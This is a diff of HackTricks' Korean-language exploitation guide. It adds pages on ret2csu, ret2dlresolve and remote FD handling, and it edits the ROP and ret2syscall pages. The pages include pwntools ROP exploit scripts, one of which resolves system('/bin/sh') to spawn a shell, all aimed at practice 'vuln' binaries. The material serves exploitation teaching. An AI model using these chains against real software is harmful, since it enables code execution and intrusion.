diff --git a/SUMMARY.md b/SUMMARY.md index dbf57fc1b..bd38c7c2a 100644 --- a/SUMMARY.md +++ b/SUMMARY.md @@ -699,10 +699,13 @@ * [Leaking libc address with ROP](reversing-and-exploiting/linux-exploiting-basic-esp/stack-overflow/ret2lib/rop-leaking-libc-address/README.md) * [Leaking libc - template](reversing-and-exploiting/linux-exploiting-basic-esp/stack-overflow/ret2lib/rop-leaking-libc-address/rop-leaking-libc-template.md) * [Stack Shellcode](reversing-and-exploiting/linux-exploiting-basic-esp/stack-overflow/stack-shellcode.md) - * [EBP2Ret - EBP chaining](reversing-and-exploiting/linux-exploiting-basic-esp/stack-overflow/ebp2ret-ebp-chaining.md) + * [Stack Pivoting - EBP2Ret - EBP chaining](reversing-and-exploiting/linux-exploiting-basic-esp/stack-overflow/stack-pivoting-ebp2ret-ebp-chaining.md) * [Ret2win](reversing-and-exploiting/linux-exploiting-basic-esp/stack-overflow/ret2win.md) * [Ret2ret](reversing-and-exploiting/linux-exploiting-basic-esp/stack-overflow/ret2ret.md) * [Ret2esp / Ret2reg](reversing-and-exploiting/linux-exploiting-basic-esp/stack-overflow/ret2esp-ret2reg.md) + * [SROP - Sigreturn-Oriented Programming](reversing-and-exploiting/linux-exploiting-basic-esp/stack-overflow/srop-sigreturn-oriented-programming.md) + * [Ret2dlresolve](reversing-and-exploiting/linux-exploiting-basic-esp/stack-overflow/ret2dlresolve.md) + * [Ret2csu](reversing-and-exploiting/linux-exploiting-basic-esp/stack-overflow/ret2csu.md) * [Ret2syscall](reversing-and-exploiting/linux-exploiting-basic-esp/stack-overflow/rop-syscall-execv.md) * [Format Strings](reversing-and-exploiting/linux-exploiting-basic-esp/format-strings/README.md) * [Format Strings Template](reversing-and-exploiting/linux-exploiting-basic-esp/format-strings/format-strings-template.md) @@ -720,6 +723,7 @@ * [Arbitrary Write 2 Exec](reversing-and-exploiting/linux-exploiting-basic-esp/arbitrary-write-2-exec/README.md) * [AW2Exec - \_\_malloc\_hook](reversing-and-exploiting/linux-exploiting-basic-esp/arbitrary-write-2-exec/aw2exec-\_\_malloc\_hook.md) * [AW2Exec - GOT/PLT](reversing-and-exploiting/linux-exploiting-basic-esp/arbitrary-write-2-exec/aw2exec-got-plt.md) + * [Common Exploiting Problems](reversing-and-exploiting/linux-exploiting-basic-esp/common-exploiting-problems.md) * [ELF Basic Information](reversing-and-exploiting/linux-exploiting-basic-esp/elf-tricks.md) * [Fusion](exploiting/linux-exploiting-basic-esp/fusion.md) * [Exploiting Tools](exploiting/tools/README.md) diff --git a/reversing-and-exploiting/linux-exploiting-basic-esp/common-exploiting-problems.md b/reversing-and-exploiting/linux-exploiting-basic-esp/common-exploiting-problems.md new file mode 100644 index 000000000..614e574f0 --- /dev/null +++ b/reversing-and-exploiting/linux-exploiting-basic-esp/common-exploiting-problems.md @@ -0,0 +1,56 @@ +# 일반적인 Exploiting 문제 + +
+ +htARTE (HackTricks AWS Red Team Expert)를 통해 제로부터 영웅이 되는 AWS 해킹을 배우세요 + +* **사이버 보안 회사**에서 일하시나요? **HackTricks에 귀사를 광고하고 싶으신가요**? 아니면 **PEASS의 최신 버전에 액세스하거나 HackTricks를 PDF로 다운로드**하고 싶으신가요? [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인해보세요! +* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 저희의 독점적인 [**NFT 컬렉션**](https://opensea.io/collection/the-peass-family) +* [**공식 PEASS & HackTricks 스왜그**](https://peass.creator-spring.com)를 얻으세요 +* [**💬**](https://emojipedia.org/speech-balloon/) [**Discord 그룹**](https://discord.gg/hRep4RUj7f)이나 [**텔레그램 그룹**](https://t.me/peass)에 **가입**하거나 **트위터** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**를 팔로우**하세요. +* **해킹 트릭을 공유하고 싶으시다면** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **및** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **로 PR을 제출**하세요. + +
+ +## 원격 Exploitation에서의 FDs + +예를 들어 **`system('/bin/sh')`**를 호출하는 원격 서버로 exploit을 전송할 때, 이는 서버 프로세스에서 실행되며, `/bin/sh`는 stdin(FD: `0`)에서 입력을 기대하고 stdout 및 stderr(FDs `1` 및 `2`)에서 출력을 출력할 것입니다. 따라서 공격자는 셸과 상호 작용할 수 없게 됩니다. + +이를 해결하는 한 가지 방법은 서버가 시작될 때 **FD 번호 `3`** (청취용)를 생성했다고 가정하고, 그 후에 연결이 **FD 번호 `4`**에 있을 것이라고 가정하는 것입니다. 따라서, **`dup2`** 시스템 호출을 사용하여 stdin(FD 0)과 stdout(FD 1)를 공격자 연결의 FD 4(연결의 FD)에 복제하여 실행된 후 셸에 연락할 수 있게 만들 수 있습니다. + +[**여기에서 exploit 예시**](https://ir0nstone.gitbook.io/notes/types/stack/exploiting-over-sockets/exploit) +```python +from pwn import * + +elf = context.binary = ELF('./vuln') +p = remote('localhost', 9001) + +rop = ROP(elf) +rop.raw('A' * 40) +rop.dup2(4, 0) +rop.dup2(4, 1) +rop.win() + +p.sendline(rop.chain()) +p.recvuntil('Thanks!\x00') +p.interactive() +``` +## Socat & pty + +socat는 이미 `stdin`과 `stdout`를 소켓으로 전송합니다. 그러나 `pty` 모드에는 **DELETE 문자가 포함**됩니다. 따라서 `\x7f` (`DELETE` -)를 보내면 exploit의 이전 문자가 **삭제**됩니다. + +이를 우회하려면 **이스케이프 문자 `\x16`을 보내려는 모든 `\x7f` 앞에 추가**해야 합니다. + +**여기에서** [**이 동작의 예제를 찾을 수 있습니다**](https://ir0nstone.gitbook.io/hackthebox/challenges/pwn/dream-diary-chapter-1/unlink-exploit)**.** + +
+ +htARTE (HackTricks AWS Red Team Expert)로부터 AWS 해킹을 처음부터 전문가까지 배우세요 + +* **사이버 보안 회사에서 일하시나요? 귀하의 회사를 HackTricks에서 광고하고 싶으신가요? 또는 최신 버전의 PEASS에 액세스하거나 HackTricks를 PDF로 다운로드하고 싶으신가요?** [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요! +* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 당사의 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션 +* [**공식 PEASS & HackTricks 스왹**](https://peass.creator-spring.com)을 받으세요 +* [**💬**](https://emojipedia.org/speech-balloon/) **Discord 그룹**에 가입하거나 [**텔레그램 그룹**](https://t.me/peass)에 참여하거나 **트위터** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**를 팔로우하세요**. +* **해킹 요령을 공유하려면 PR을** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **및** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **에 제출하세요**. + +
diff --git a/reversing-and-exploiting/linux-exploiting-basic-esp/stack-overflow/ret2csu.md b/reversing-and-exploiting/linux-exploiting-basic-esp/stack-overflow/ret2csu.md new file mode 100644 index 000000000..f1e6ef542 --- /dev/null +++ b/reversing-and-exploiting/linux-exploiting-basic-esp/stack-overflow/ret2csu.md @@ -0,0 +1,87 @@ +# Ret2csu + +
+ +htARTE (HackTricks AWS Red Team 전문가)에서 **제로부터 영웅까지 AWS 해킹 배우기**! + +다른 HackTricks 지원 방법: + +- **회사가 HackTricks에 광고되길 원하거나 PDF로 HackTricks 다운로드**하고 싶다면 [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요! +- [**공식 PEASS & HackTricks 스왜그**](https://peass.creator-spring.com)를 구매하세요 +- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 당사의 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션 +- **💬 [Discord 그룹](https://discord.gg/hRep4RUj7f)** 또는 [텔레그램 그룹](https://t.me/peass)에 **가입**하거나 **트위터** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)를 **팔로우**하세요. +- **HackTricks** 및 **HackTricks Cloud** 깃허브 저장소에 PR을 제출하여 **해킹 트릭을 공유**하세요. + +
+ +## 기본 정보 + +**ret2csu**는 프로그램의 동작을 조작하는 데 사용되는 해킹 기술로, 일반적으로 프로그램의 동작을 조작하는 데 사용하는 **가젯**을 찾을 수 없을 때 사용됩니다. + +프로그램이 특정 라이브러리(예: libc)를 사용하는 경우, 프로그램의 다른 부분이 서로 통신하는 방법을 관리하는 데 사용되는 내장 함수가 있습니다. 이러한 함수 중에는 특히 `__libc_csu_init`라는 함수가 있습니다. + +### \_\_libc\_csu\_init의 마법 가젯 + +`__libc_csu_init`에는 두 개의 명령어 시퀀스(우리의 "마법 가젯")가 있습니다. + +1. 첫 번째 시퀀스를 사용하면 여러 레지스터(rbx, rbp, r12, r13, r14, r15)에 값을 설정할 수 있습니다. 이는 나중에 사용할 숫자나 주소를 저장할 수 있는 슬롯과 같습니다. +```armasm +pop rbx; +pop rbp; +pop r12; +pop r13; +pop r14; +pop r15; +ret; +``` +이 가젯은 스택에서 값을 팝하여 레지스터를 제어할 수 있게 합니다. + +2. 두 번째 시퀀스는 설정한 값들을 사용하여 몇 가지 작업을 수행합니다: +* **특정 값들을 다른 레지스터로 이동**하여 함수의 매개변수로 사용할 준비를 합니다. +* r15과 rbx의 값을 더한 후 rbx를 8로 곱하여 결정된 위치로 **호출을 수행**합니다. +``` +mov rdx, r14; +mov rsi, r13; +mov edi, r12d; +call qword [r15 + rbx*8]; +``` +## 예시 + +시스템 호출을 하거나 `write()`와 같은 함수를 호출하려면 `rdx`와 `rsi` 레지스터에 특정 값이 필요한 경우를 상상해보세요. 일반적으로 이러한 레지스터를 직접 설정하는 가젯을 찾겠지만, 찾을 수 없는 경우도 있습니다. + +여기서 **ret2csu**가 등장합니다: + +1. **레지스터 설정**: 첫 번째 매직 가젯을 사용하여 스택에서 값을 뽑아내어 rbx, rbp, r12 (edi), r13 (rsi), r14 (rdx) 및 r15로 이동합니다. +2. **두 번째 가젯 사용**: 이러한 레지스터가 설정된 상태에서 두 번째 가젯을 사용합니다. 이를 통해 선택한 값들을 `rdx`와 `rsi`로 이동시킬 수 있습니다 (각각 r14 및 r13에서). 이로써 함수 호출을 위한 매개변수를 준비합니다. 더불어, `r15`와 `rbx`를 제어함으로써, 계산하고 `[r15 + rbx*8]`에 배치한 주소에 있는 함수를 호출할 수 있습니다. + +[**이 기술을 사용하고 설명하는 예시**](https://ir0nstone.gitbook.io/notes/types/stack/ret2csu/exploitation)가 있으며, 이것은 사용된 최종 익스플로잇입니다: +```python +from pwn import * + +elf = context.binary = ELF('./vuln') +p = process() + +POP_CHAIN = 0x00401224 # pop r12, r13, r14, r15, ret +REG_CALL = 0x00401208 # rdx, rsi, edi, call [r15 + rbx*8] +RW_LOC = 0x00404028 + +rop.raw('A' * 40) +rop.gets(RW_LOC) +rop.raw(POP_CHAIN) +rop.raw(0) # r12 +rop.raw(0) # r13 +rop.raw(0xdeadbeefcafed00d) # r14 - popped into RDX! +rop.raw(RW_LOC) # r15 - holds location of called function! +rop.raw(REG_CALL) # all the movs, plus the call + +p.sendlineafter('me\n', rop.chain()) +p.sendline(p64(elf.sym['win'])) # send to gets() so it's written +print(p.recvline()) # should receive "Awesome work!" +``` +{% hint style="warning" %} +이전 exploit은 **`RCE`**를 수행하는 것이 아니라, `win` 함수를 호출하기 위한 것입니다 (`win` 함수의 주소를 stdin에서 gets를 호출하여 ROP 체인에 저장하고 세 번째 인자로 값 `0xdeadbeefcafed00d`를 전달). +{% endhint %} + +### 왜 직접 libc를 사용하지 않는가? + +보통 이러한 경우는 [**ret2plt**](../common-binary-protections-and-bypasses/aslr/ret2plt.md) + [**ret2lib**](ret2lib/)에 취약하지만, 때로는 libc에서 직접 찾은 가젯으로 쉽게 제어할 수 없는 매개변수를 더 제어해야 하는 경우가 있습니다. 예를 들어, `write()` 함수는 세 개의 매개변수가 필요하며, **이를 직접 설정하는 가젯을 찾는 것이 불가능할 수도** 있습니다. diff --git a/reversing-and-exploiting/linux-exploiting-basic-esp/stack-overflow/ret2dlresolve.md b/reversing-and-exploiting/linux-exploiting-basic-esp/stack-overflow/ret2dlresolve.md new file mode 100644 index 000000000..daf154529 --- /dev/null +++ b/reversing-and-exploiting/linux-exploiting-basic-esp/stack-overflow/ret2dlresolve.md @@ -0,0 +1,88 @@ +# Ret2dlresolve + +
+ +AWS 해킹을 처음부터 전문가까지 배우세요 htARTE (HackTricks AWS Red Team Expert)! + +HackTricks를 지원하는 다른 방법: + +* **회사가 HackTricks에 광고되길 원하거나** **HackTricks를 PDF로 다운로드하고 싶다면** [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요! +* [**공식 PEASS & HackTricks 스왜그**](https://peass.creator-spring.com)를 구매하세요 +* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 당사의 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션 +* **💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f)에 가입하거나 [**텔레그램 그룹**](https://t.me/peass)에 가입하거나 **트위터** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우하세요**. +* **HackTricks** 및 **HackTricks Cloud** github 저장소에 PR을 제출하여 **해킹 트릭을 공유하세요**. + +
+ +## 기본 정보 + +[**GOT/PLT**](../arbitrary-write-2-exec/aw2exec-got-plt.md) 및 [**Relro**](../common-binary-protections-and-bypasses/relro.md) 페이지에서 설명한 대로, Full Relro가 없는 이진 파일은 사용될 때 처음으로 심볼(외부 라이브러리 주소 등)을 해결합니다. 이 해결은 **`_dl_runtime_resolve`** 함수를 호출하여 발생합니다. + +**`_dl_runtime_resolve`** 함수는 해결해야 하는 지정된 심볼을 해결하는 데 필요한 일부 구조에 대한 스택 참조를 가져옵니다. + +따라서 **가짜로 모든 이러한 구조를 만들어** 요청된 심볼(예: **`system`** 함수)을 동적으로 연결하여 구성된 매개변수(예: **`system('/bin/sh')`**)로 호출할 수 있습니다. + +보통, 이러한 모든 구조는 **쓰기 가능한 메모리에서 `read`를 호출하는 초기 ROP 체인을 만들어** 가짜로 만들며, 그런 다음 **구조체** 및 문자열 **`'/bin/sh'`**이 전달되어 알려진 위치에 읽혀 저장되고, 그런 다음 ROP 체인이 **`_dl_runtime_resolve`**를 호출하여 `$'/bin/sh'` 주소로 이동합니다. + +{% hint style="success" %} +이 기술은 특히 시스템 호출 가젯(예: [**ret2syscall**](rop-syscall-execv.md) 또는 [SROP](srop-sigreturn-oriented-programming.md)와 같은 기술을 사용할 수 없는 경우 및 libc 주소를 노출할 수 있는 방법이 없는 경우에 유용합니다. +{% endhint %} + +이 기술에 대한 더 나은 설명은 다음 비디오의 후반부에서 찾을 수 있습니다: + +{% embed url="https://youtu.be/ADULSwnQs-s?feature=shared" %} + +## 구조 + +**`JMPREL`**, **`STRTAB`**, **`SYMTAB`** 3가지 구조를 가짜로 만들어야 합니다. 이러한 구조체가 어떻게 구축되는지에 대한 더 나은 설명은 [https://ir0nstone.gitbook.io/notes/types/stack/ret2dlresolve#structures](https://ir0nstone.gitbook.io/notes/types/stack/ret2dlresolve#structures)에서 찾을 수 있습니다. + +## 공격 요약 + +1. 어딘가에 가짜 구조를 작성합니다. +2. 시스템의 첫 번째 인수를 설정합니다(`$rdi = &'/bin/sh'`). +3. **`_dl_runtime_resolve`**를 호출하기 위해 구조체의 주소를 스택에 설정합니다. +4. **`_dl_runtime_resolve`**를 호출합니다. +5. `'/bin/sh'`를 인수로 사용하여 **`system`**이 해결되고 호출됩니다. + +## 예시 + +[**이 기술의 예시를 여기에서 찾을 수 있습니다**](https://ir0nstone.gitbook.io/notes/types/stack/ret2dlresolve/exploitation) **최종 ROP 체인에 대한 매우 좋은 설명이 포함**되어 있지만, 여기서 사용된 최종 악용은 다음과 같습니다: +```python +from pwn import * + +elf = context.binary = ELF('./vuln', checksec=False) +p = elf.process() +rop = ROP(elf) + +# create the dlresolve object +dlresolve = Ret2dlresolvePayload(elf, symbol='system', args=['/bin/sh']) + +rop.raw('A' * 76) +rop.read(0, dlresolve.data_addr) # read to where we want to write the fake structures +rop.ret2dlresolve(dlresolve) # call .plt and dl-resolve() with the correct, calculated reloc_offset + +log.info(rop.dump()) + +p.sendline(rop.chain()) +p.sendline(dlresolve.payload) # now the read is called and we pass all the relevant structures in + +p.interactive() +``` +## 참고 자료 + +* [https://youtu.be/ADULSwnQs-s](https://youtu.be/ADULSwnQs-s?feature=shared) +* [https://ir0nstone.gitbook.io/notes/types/stack/ret2dlresolve](https://ir0nstone.gitbook.io/notes/types/stack/ret2dlresolve) + +
+ +제로부터 영웅이 될 때까지 AWS 해킹 배우기 htARTE (HackTricks AWS Red Team Expert)! + +HackTricks를 지원하는 다른 방법: + +* **회사를 HackTricks에서 광고하거나 PDF로 다운로드하고 싶다면** [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요! +* [**공식 PEASS & HackTricks 스왜그**](https://peass.creator-spring.com)를 구매하세요 +* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 당사의 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션 +* **💬 [**디스코드 그룹**](https://discord.gg/hRep4RUj7f)이나 [**텔레그램 그룹**](https://t.me/peass)에 가입하거나** 트위터** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우하세요.** +* **해킹 트릭을 공유하려면** [**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 저장소에 PR을 제출하세요. + +
diff --git a/reversing-and-exploiting/linux-exploiting-basic-esp/stack-overflow/rop-return-oriented-programing.md b/reversing-and-exploiting/linux-exploiting-basic-esp/stack-overflow/rop-return-oriented-programing.md index 1c10d682f..d43b296c1 100644 --- a/reversing-and-exploiting/linux-exploiting-basic-esp/stack-overflow/rop-return-oriented-programing.md +++ b/reversing-and-exploiting/linux-exploiting-basic-esp/stack-overflow/rop-return-oriented-programing.md @@ -2,14 +2,14 @@
-htARTE (HackTricks AWS Red Team 전문가)를 통해 AWS 해킹을 처음부터 전문가까지 배우세요! +htARTE (HackTricks AWS Red Team 전문가)로부터 AWS 해킹을 처음부터 전문가까지 배우세요! HackTricks를 지원하는 다른 방법: - **회사가 HackTricks에 광고되길 원하거나 HackTricks를 PDF로 다운로드하고 싶다면** [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요! - [**공식 PEASS & HackTricks 스왜그**](https://peass.creator-spring.com)를 구매하세요 - [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 당사의 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션 -- **💬 [디스코드 그룹](https://discord.gg/hRep4RUj7f)** 또는 [텔레그램 그룹](https://t.me/peass)에 **가입**하거나 **트위터** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)를 **팔로우**하세요. +- **💬 [Discord 그룹](https://discord.gg/hRep4RUj7f)** 또는 [텔레그램 그룹](https://t.me/peass)에 **가입**하거나 **트위터** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)를 **팔로우**하세요. - **HackTricks** 및 **HackTricks Cloud** github 저장소에 PR을 제출하여 해킹 요령을 공유하세요.
@@ -21,7 +21,7 @@ HackTricks를 지원하는 다른 방법: ### ROP 작동 방식 1. **제어 흐름 탈취**: 먼저, 공격자는 프로그램의 제어 흐름을 탈취해야 합니다. 일반적으로 버퍼 오버플로우를 이용하여 스택에 저장된 반환 주소를 덮어씁니다. -2. **가젯 체이닝**: 그런 다음 공격자는 원하는 작업을 수행하기 위해 주의 깊게 가젯을 선택하고 연결합니다. 이는 함수 호출의 인수를 설정하고 함수를 호출하며(`system("/bin/sh")`과 같은), 필요한 정리나 추가 작업을 처리하는 것을 포함할 수 있습니다. +2. **가젯 체이닝**: 그런 다음 공격자는 원하는 작업을 수행하기 위해 주의 깊게 가젯을 선택하고 연결합니다. 이는 함수 호출의 인수를 설정하고 함수를 호출하며(`system("/bin/sh")`과 같은), 필요한 정리 또는 추가 작업을 처리하는 것을 포함할 수 있습니다. 3. **페이로드 실행**: 취약한 함수가 반환될 때, 합법적인 위치로 반환하는 대신 가젯 체인을 실행하기 시작합니다. ## x86 예제에서 ROP 체인 @@ -45,7 +45,7 @@ HackTricks를 지원하는 다른 방법: **pwntools**를 사용하여 ROP 체인 실행을 위해 스택을 준비하는 방법은 다음과 같습니다. `system('/bin/sh')`을 실행하도록 목표로 하며, 체인이 다음과 같이 시작하는 것에 주목하세요: 1. 정렬 목적을 위한 `ret` 명령(선택 사항) -2. `system` 함수의 주소 (ASLR 비활성화되고 알려진 libc를 가정, 자세한 정보는 [**Ret2lib**](ret2lib/) 참조) +2. `system` 함수의 주소 (ASLR 비활성화 및 알려진 libc를 가정, 자세한 정보는 [**Ret2lib**](ret2lib/) 참조) 3. `system()`에서의 반환 주소를 위한 자리 표시자 4. `"/bin/sh"` 문자열 주소 (system 함수의 매개변수) ```python @@ -91,10 +91,10 @@ p.interactive() #### **가젯 찾기** -우리의 목적을 위해, **RDI** 레지스터를 설정할 수 있는 가젯들에 초점을 맞추어 보겠습니다 (**system()**에 **"/bin/sh"** 문자열을 인수로 전달하기 위함) 그리고 **system()** 함수를 호출합니다. 다음과 같은 가젯들을 식별했다고 가정해봅시다: +우리의 목적을 위해, **RDI** 레지스터를 설정할 수 있는 가젯들에 집중하고 (**system()**에 **"/bin/sh"** 문자열을 전달하기 위한 인수로) **system()** 함수를 호출합니다. 다음 가젯들을 식별했다고 가정해 봅시다: -* **pop rdi; ret**: 스택의 최상위 값을 **RDI**로 팝하고 반환합니다. **system()**에 대한 인수 설정에 필수적입니다. -* **ret**: 간단한 반환으로, 특정 시나리오에서 스택 정렬에 유용합니다. +* **pop rdi; ret**: 스택의 최상위 값을 **RDI**로 팝하고 반환합니다. **system()**에 대한 인수를 설정하는 데 필수적입니다. +* **ret**: 간단한 반환으로, 일부 시나리오에서 스택 정렬에 유용합니다. 그리고 **system()** 함수의 주소를 알고 있다고 가정합니다. @@ -137,12 +137,12 @@ p.interactive() ``` ### 스택 정렬 -**x86-64 ABI**는 **call 명령어**가 실행될 때 **스택이 16바이트 정렬**되어 있음을 보장합니다. **LIBC**는 성능을 최적화하기 위해 **SSE 명령어** (예: **movaps**)를 사용하는데, 이는 정렬이 필요합니다. 스택이 제대로 정렬되지 않으면 (즉, **RSP**가 16의 배수가 아닌 경우) **system**과 같은 함수 호출이 **ROP chain**에서 실패할 수 있습니다. 이를 해결하기 위해 ROP chain에서 **system**을 호출하기 전에 **ret gadget**을 추가하면 됩니다. +**x86-64 ABI**는 **call 명령어**가 실행될 때 **스택이 16바이트 정렬**되도록 보장합니다. **LIBC**는 성능을 최적화하기 위해 **movaps**와 같은 **SSE 명령어**를 사용하는데, 이는 정렬이 필요합니다. 스택이 제대로 정렬되지 않으면 (**RSP**가 16의 배수가 아닌 경우) **system**과 같은 함수 호출이 **ROP chain**에서 실패할 수 있습니다. 이를 해결하기 위해 ROP chain에서 **system**을 호출하기 전에 간단히 **ret gadget**을 추가하면 됩니다. ## x86 대 x64 주요 차이점 {% hint style="success" %} -x64는 처음 몇 인자에 대해 레지스터를 사용하므로 간단한 함수 호출에 대해 x86보다 더 적은 가젯이 필요하지만, 올바른 가젯을 찾고 연결하는 것은 레지스터 수의 증가와 주소 공간의 확대로 인해 더 복잡할 수 있습니다. **x64** 아키텍처의 증가한 레지스터 수와 큰 주소 공간은 특히 Return-Oriented Programming (ROP)의 맥락에서 exploit 개발에 대한 기회와 도전을 제공합니다. +x64는 처음 몇 인자에 대해 레지스터를 사용하므로 간단한 함수 호출에는 x86보다 적은 가젯이 필요하지만, 올바른 가젯을 찾고 연결하는 것은 레지스터 수의 증가와 주소 공간의 확대로 인해 더 복잡할 수 있습니다. **x64** 아키텍처의 증가한 레지스터 수와 주소 공간은 특히 Return-Oriented Programming (ROP)의 맥락에서 exploit 개발에 기회와 도전을 제공합니다. {% endhint %} ## 보호 기능 @@ -150,15 +150,15 @@ x64는 처음 몇 인자에 대해 레지스터를 사용하므로 간단한 함 * [**ASLR**](../common-binary-protections-and-bypasses/aslr/) * [**스택 카나리**](../common-binary-protections-and-bypasses/stack-canaries/) -## 다른 예제 및 참조 +## 다른 예제 및 참고 자료 * [https://ir0nstone.gitbook.io/notes/types/stack/return-oriented-programming/exploiting-calling-conventions](https://ir0nstone.gitbook.io/notes/types/stack/return-oriented-programming/exploiting-calling-conventions) ## ROP 기반 기술 -ROP는 임의의 코드를 실행하기 위한 기술일 뿐임을 유의하십시오. ROP를 기반으로 한 많은 Ret2XXX 기술이 개발되었습니다: +ROP는 임의의 코드를 실행하기 위한 기술일 뿐임을 주목하세요. ROP를 기반으로 한 많은 Ret2XXX 기술이 개발되었습니다: -* **Ret2lib**: 로드된 라이브러리에서 임의의 매개변수로 임의의 함수를 호출하기 위해 ROP를 사용합니다 (일반적으로 `system('/bin/sh')`와 같은 것). +* **Ret2lib**: ROP를 사용하여 로드된 라이브러리에서 임의의 매개변수로 임의의 함수를 호출합니다 (일반적으로 `system('/bin/sh')`와 같은 것). {% content-ref url="ret2lib/" %} [ret2lib](ret2lib/) @@ -170,8 +170,8 @@ ROP는 임의의 코드를 실행하기 위한 기술일 뿐임을 유의하십 [rop-syscall-execv.md](rop-syscall-execv.md) {% endcontent-ref %} -* **EBP2Ret 및 EBP Chaining**: 첫 번째는 EIP 대신 EBP를 악용하여 흐름을 제어하고, 두 번째는 Ret2lib와 유사하지만 이 경우 흐름은 주로 EBP 주소로 제어됩니다 (물론 EIP를 제어하는 것도 필요합니다). +* **EBP2Ret 및 EBP Chaining**: 첫 번째는 EIP 대신 EBP를 남용하여 흐름을 제어하고, 두 번째는 Ret2lib과 유사하지만 이 경우 흐름은 주로 EBP 주소로 제어됩니다 (물론 EIP를 제어해야 함). -{% content-ref url="ebp2ret-ebp-chaining.md" %} -[ebp2ret-ebp-chaining.md](ebp2ret-ebp-chaining.md) +{% content-ref url="stack-pivoting-ebp2ret-ebp-chaining.md" %} +[stack-pivoting-ebp2ret-ebp-chaining.md](stack-pivoting-ebp2ret-ebp-chaining.md) {% endcontent-ref %} diff --git a/reversing-and-exploiting/linux-exploiting-basic-esp/stack-overflow/rop-syscall-execv.md b/reversing-and-exploiting/linux-exploiting-basic-esp/stack-overflow/rop-syscall-execv.md index 246e1c159..49501e395 100644 --- a/reversing-and-exploiting/linux-exploiting-basic-esp/stack-overflow/rop-syscall-execv.md +++ b/reversing-and-exploiting/linux-exploiting-basic-esp/stack-overflow/rop-syscall-execv.md @@ -2,7 +2,7 @@
-htARTE (HackTricks AWS Red Team 전문가)를 통해 **제로부터 영웅까지 AWS 해킹 배우기**! +htARTE (HackTricks AWS Red Team 전문가)로부터 AWS 해킹을 처음부터 전문가까지 배우세요! HackTricks를 지원하는 다른 방법: @@ -16,18 +16,16 @@ HackTricks를 지원하는 다른 방법: ## 기본 정보 -이는 Ret2lib와 유사하지만, 이 경우에는 라이브러리에서 함수를 호출하지 않을 것입니다. 이 경우에는 `sys_execve` 시스템 호출을 호출하기 위해 `/bin/sh`를 실행하는 인수와 함께 모든 것이 준비될 것입니다. +이것은 Ret2lib와 유사하지만, 이 경우에는 라이브러리에서 함수를 호출하지 않을 것입니다. 이 경우에는 `sys_execve` 시스템 호출을 호출하기 위해 `/bin/sh`를 실행하는 인수를 사용하여 모든 것이 준비될 것입니다. -**시스템 호출**을 준비하기 위해서는 다음 구성이 필요합니다: +**시스템 호출**을 호출하기 위해 다음 구성이 필요합니다: * `rax: 59 sys_execve 지정` * `rdi: "/bin/sh"를 가리키는 포인터 실행할 파일 지정` * `rsi: 0 전달된 인수 없음 지정` * `rdx: 0 전달된 환경 변수 없음 지정` -따라서 기본적으로 문자열 `/bin/sh`를 어딘가에 쓰고, 그런 다음 `syscall`을 수행해야 합니다(스택을 제어하기 위해 필요한 패딩을 고려). - -이를 위해 알려진 영역에 `/bin/sh`를 쓸 가젯이 필요합니다. +따라서 기본적으로 문자열 `/bin/sh`를 어딘가에 쓰고, 그런 다음 `syscall`을 수행해야 합니다(스택을 제어하기 위해 필요한 패딩을 고려하여). 이를 위해 `/bin/sh`를 알려진 영역에 쓰기 위한 가젯이 필요합니다. {% hint style="success" %} 호출할 또 다른 흥미로운 시스템 호출은 **`mprotect`**이며, 이를 통해 공격자가 **메모리의 페이지 권한을 수정**할 수 있습니다. @@ -43,7 +41,7 @@ ROPgadget --binary speedrun-001 | grep -E "pop (rdi|rsi|rdx\rax) ; ret" 0x00000000004101f3 : pop rsi ; ret 0x00000000004498b5 : pop rdx ; ret ``` -이 주소들을 사용하면 **스택에 내용을 작성하고 레지스터에로드**할 수 있습니다. +다음 주소를 사용하여 **스택에 내용을 작성하고 레지스터에로드**할 수 있습니다. ## 문자열 작성 @@ -58,7 +56,7 @@ Start End Offset Perm Path 0x00000000006b6000 0x00000000006bc000 0x00000000000b6000 rw- /home/kali/git/nightmare/modules/07-bof_static/dcquals19_speedrun1/speedrun-001 0x00000000006bc000 0x00000000006e0000 0x0000000000000000 rw- [heap] ``` -### 문자열 작성 +### 메모리에 문자열 작성 그런 다음이 주소에 임의의 내용을 작성하는 방법을 찾아야합니다. ```python @@ -103,6 +101,14 @@ rop += popRax rop += p64(0x6b6000) # Writable memory rop += writeGadget #Address to: mov qword ptr [rax], rdx ``` +## 부족한 가젯 + +만약 메모리에 `/bin/sh`를 작성할 가젯이 **부족한 경우**, **SROP 기술을 사용하여 스택에서 모든 레지스터 값(포함하여 RIP 및 매개변수 레지스터)을 제어**할 수 있습니다: + +{% content-ref 